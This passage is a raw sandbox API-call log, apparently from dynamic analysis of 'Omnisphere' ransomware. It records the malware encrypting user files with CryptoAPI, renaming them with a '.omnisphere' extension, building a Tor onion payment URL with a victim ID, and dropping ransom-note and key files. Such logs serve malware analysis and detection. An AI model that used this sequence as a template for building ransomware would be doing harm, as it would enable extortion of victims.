pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.958] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.958] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.958] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.958] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.958] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.958] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.958] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.958] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.958] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.958] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.958] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.958] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.958] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.959] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.959] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.959] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.959] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.959] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.959] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.959] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.959] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.959] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.959] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.959] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.972] CryptDestroyKey (hKey=0x16396a8) returned 1 [0095.972] CryptReleaseContext (hProv=0x16681b8, dwFlags=0x0) returned 1 [0095.972] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x3e4f3, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0095.972] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0095.972] GetProcessHeap () returned 0x1600000 [0095.972] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2dc) returned 0x1685bd0 [0095.973] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\mlaseventheditionofficeonline.xsl"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\mlaseventheditionofficeonline.xsl.omnisphere")) returned 1 [0095.981] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl.omnisphere.id" [0095.981] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\mlaseventheditionofficeonline.xsl.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0095.981] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0095.982] CloseHandle (hObject=0x3c0) returned 1 [0101.387] UnmapViewOfFile (lpBaseAddress=0x3c00000) returned 1 [0101.389] CloseHandle (hObject=0x288) returned 1 [0101.389] SetEndOfFile (hFile=0x28c) returned 1 [0101.393] FlushFileBuffers (hFile=0x28c) returned 1 [0101.555] CloseHandle (hObject=0x28c) returned 1 [0101.555] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style") returned 1 [0101.555] GetProcessHeap () returned 0x1600000 [0101.555] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1685eb8 [0101.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0101.555] GetProcessHeap () returned 0x1600000 [0101.555] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x165efe0 [0101.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x165efe0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0101.555] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0101.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0101.555] GetProcessHeap () returned 0x1600000 [0101.555] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x162f730 [0101.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x162f730, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0101.555] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0101.555] GetProcessHeap () returned 0x1600000 [0101.555] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb8) returned 0x166a578 [0101.556] PathCombineW (in: pszDest=0x166a578, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\!DECRYPT_OMNISPHERE.txt" [0101.556] GetProcessHeap () returned 0x1600000 [0101.556] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x167f648 [0101.556] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0101.556] WriteFile (in: hFile=0x28c, lpBuffer=0x167f648*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x167f648*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0101.556] CloseHandle (hObject=0x28c) returned 1 [0101.557] GetProcessHeap () returned 0x1600000 [0101.557] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1685eb8 | out: hHeap=0x1600000) returned 1 [0101.557] GetProcessHeap () returned 0x1600000 [0101.557] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xae) returned 0x16317f8 [0101.557] PathCombineW (in: pszDest=0x16317f8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\unique_decrypt.key" [0101.557] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0101.557] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0101.557] CloseHandle (hObject=0x28c) returned 1 [0101.558] GetProcessHeap () returned 0x1600000 [0101.558] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16317f8 | out: hHeap=0x1600000) returned 1 [0101.558] GetProcessHeap () returned 0x1600000 [0101.558] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16240d8 | out: hHeap=0x1600000) returned 1 [0101.558] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e1a2f1, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2e1a2f1, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2b42021, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x3d5c8, dwReserved0=0x0, dwReserved1=0xce, cFileName="SIST02.XSL", cAlternateFileName="")) returned 1 [0101.558] GetProcessHeap () returned 0x1600000 [0101.558] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x9e) returned 0x1656820 [0101.558] PathCombineW (in: pszDest=0x1656820, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", pszFile="SIST02.XSL" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL" [0101.558] StrStrW (lpFirst=".omnisphere", lpSrch=".XSL") returned 0x0 [0101.558] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\sist02.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0101.559] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=251336) returned 1 [0101.559] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x3d0a4, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0101.559] ReadFile (in: hFile=0x28c, lpBuffer=0x3e0d274, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d7bc, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesRead=0x3e0d7bc*=0x524, lpOverlapped=0x0) returned 1 [0101.561] GetTickCount () returned 0x11597b8 [0101.561] GetTickCount () returned 0x11597b8 [0101.561] GetTickCount () returned 0x11597b8 [0101.561] GetTickCount () returned 0x11597b8 [0101.561] GetTickCount () returned 0x11597b8 [0101.561] GetTickCount () returned 0x11597b8 [0101.561] GetTickCount () returned 0x11597b8 [0101.561] GetTickCount () returned 0x11597b8 [0101.561] GetTickCount () returned 0x11597b8 [0101.561] GetTickCount () returned 0x11597b8 [0101.561] GetTickCount () returned 0x11597b8 [0101.561] GetTickCount () returned 0x11597b8 [0101.561] GetTickCount () returned 0x11597b8 [0101.561] GetTickCount () returned 0x11597b8 [0101.561] GetTickCount () returned 0x11597b8 [0101.561] GetTickCount () returned 0x11597b8 [0101.561] GetTickCount () returned 0x11597b8 [0101.562] GetTickCount () returned 0x11597b8 [0101.562] GetTickCount () returned 0x11597b8 [0101.562] GetTickCount () returned 0x11597b8 [0101.562] GetTickCount () returned 0x11597b8 [0101.562] GetTickCount () returned 0x11597b8 [0101.562] GetTickCount () returned 0x11597b8 [0101.562] GetTickCount () returned 0x11597b8 [0101.562] GetTickCount () returned 0x11597b8 [0101.562] GetTickCount () returned 0x11597b8 [0101.562] GetTickCount () returned 0x11597b8 [0101.562] GetTickCount () returned 0x11597b8 [0101.562] GetTickCount () returned 0x11597b8 [0101.562] GetTickCount () returned 0x11597b8 [0101.562] GetTickCount () returned 0x11597b8 [0101.562] GetTickCount () returned 0x11597b8 [0101.562] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668460) returned 1 [0101.563] CryptImportKey (in: hProv=0x1668460, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16395e8) returned 1 [0101.563] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0101.564] CryptDestroyKey (hKey=0x16395e8) returned 1 [0101.564] CryptReleaseContext (hProv=0x1668460, dwFlags=0x0) returned 1 [0101.564] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3d5c8, lpName=0x0) returned 0x288 [0101.564] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3d5c8) returned 0x3c00000 [0101.618] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16683d8) returned 1 [0101.619] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639568) returned 1 [0101.619] CryptSetKeyParam (hKey=0x1639568, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0101.619] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0101.619] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.619] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.619] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.619] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.619] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.619] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.620] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.620] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.620] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.620] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.620] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.620] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.620] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.620] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.620] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.620] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.620] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.620] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.620] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.620] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.620] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.620] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.620] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.620] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.620] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.620] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.620] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.620] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, 